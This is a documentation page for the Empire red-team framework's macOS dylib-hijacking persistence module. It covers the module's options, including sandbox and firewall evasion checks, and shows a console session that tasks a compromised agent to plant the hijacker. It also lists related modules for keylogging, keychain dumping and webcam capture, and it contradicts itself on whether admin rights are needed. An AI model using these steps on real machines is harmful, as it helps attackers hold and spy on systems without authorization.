CreateDylibHijacker - Empire Module
This page contains detailed information about how to use the python/persistence/osx/CreateHijacker Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: CreateDylibHijacker
Module: python/persistence/osx/CreateHijacker
Source code [1]: empire/server/modules/python/persistence/osx/CreateHijacker.yaml
Source code [2]: empire/server/modules/python/persistence/osx/CreateHijacker.py
MITRE ATT&CK:
T1157
Language: Python
Needs admin: Yes
OPSEC safe: No
Background: No
The CreateHijacker module configures and Empire dylib for use in a Dylib hijack, given the path to a legitimate dylib of a vulnerable application. The architecture of the dylib must match the target application. The configured dylib will be copied local to the hijackerPath.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the CreateHijacker module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the CreateHijacker module:
Agent
Agent to execute module on.
Arch
Arch: x86/x64.
Default value: x86
.
LegitimateDylibPath
Full path to the legitimate dylib of the vulnerable application.
Listener
Listener to use.
SafeChecks
Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.
Default value: True
.
VulnerableRPATH
Full path to where the hijacker should be planted. This will be the RPATH in the Hijack Scanner module.
Additional Module Options
This is a list of additional options that are supported by the CreateHijacker module:
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default
.
CreateHijacker Example Usage
Here's an example of how to use the CreateHijacker module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/osx/ducky) > usemodule python/persistence/osx/CreateHijacker
Author @patrickwardle,@xorrior
Background False
Comments comment
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-
os-x
Description Configures and Empire dylib for use in a Dylib hijack, given the path
to a legitimate dylib of a vulnerable application. The architecture of
the dylib must match the target application. The configured dylib will
be copied local to the hijackerPath
Language python
Name python/persistence/osx/CreateHijacker
NeedsAdmin True
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1157
,Record Options-------,---------,----------,-------------------------------------,
| Name | Value | Required | Description |
|---------------------|---------|----------|-------------------------------------|
| Agent | | True | Agent to execute module on. |
|---------------------|---------|----------|-------------------------------------|
| Arch | x86 | True | Arch: x86/x64 |
|---------------------|---------|----------|-------------------------------------|
| LegitimateDylibPath | | True | Full path to the legitimate dylib |
| | | | of the vulnerable application |
|---------------------|---------|----------|-------------------------------------|
| Listener | | True | Listener to use. |
|---------------------|---------|----------|-------------------------------------|
| SafeChecks | True | True | Switch. Checks for LittleSnitch or |
| | | | a SandBox, exit the staging process |
| | | | if true. Defaults to True. |
|---------------------|---------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
|---------------------|---------|----------|-------------------------------------|
| VulnerableRPATH | | True | Full path to where the hijacker |
| | | | should be planted. This will be the |
| | | | RPATH in the Hijack Scanner module. |
'---------------------'---------'----------'-------------------------------------'
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set Arch x86
[*] Set Arch to x86
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set LegitimateDylibPath value
[*] Set LegitimateDylibPath to value
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set SafeChecks True
[*] Set SafeChecks to True
(Empire: usemodule/python/persistence/osx/CreateHijacker) > set VulnerableRPATH value
[*] Set VulnerableRPATH to value
(Empire: usemodule/python/persistence/osx/CreateHijacker) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
- @patrickwardle
- @xorrior
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/persistence/osx/CreateHijacker.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/python/persistence/osx/CreateHijacker.py
- https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x
- http://attack.mitre.org/techniques/T1157
See Also
Check also the following modules related to this module:
- python/persistence/osx/mail
- python/persistence/osx/LaunchAgent
- python/persistence/osx/loginhook
- python/persistence/osx/LaunchAgentUserLandPersistence
- python/persistence/osx/RemoveLaunchAgent
- python/trollsploit/osx/change_background
- python/trollsploit/osx/say
- python/trollsploit/osx/thunderstruck
- python/trollsploit/osx/login_message
- python/management/osx/shellcodeinject64
- python/management/osx/screen_sharing
- python/situational_awareness/host/osx/situational_awareness
- python/situational_awareness/host/osx/HijackScanner
- python/privesc/osx/piggyback
- python/privesc/osx/dyld_print_to_file
- python/collection/osx/osx_mic_record
- python/collection/osx/sniffer
- python/collection/osx/imessage_dump
- python/collection/osx/kerberosdump
- python/collection/osx/keychaindump_chainbreaker
- python/collection/osx/prompt
- python/collection/osx/hashdump
- python/collection/osx/keychaindump_decrypt
- python/collection/osx/browser_dump
- python/collection/osx/pillage_user
- python/collection/osx/webcam
- python/collection/osx/screenshot
- python/collection/osx/keychaindump
- python/collection/osx/search_email
- python/collection/osx/screensaver_alleyoop
- python/collection/osx/native_screenshot_mss
- python/collection/osx/clipboard
- python/collection/osx/keylogger
- python/collection/osx/native_screenshot
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.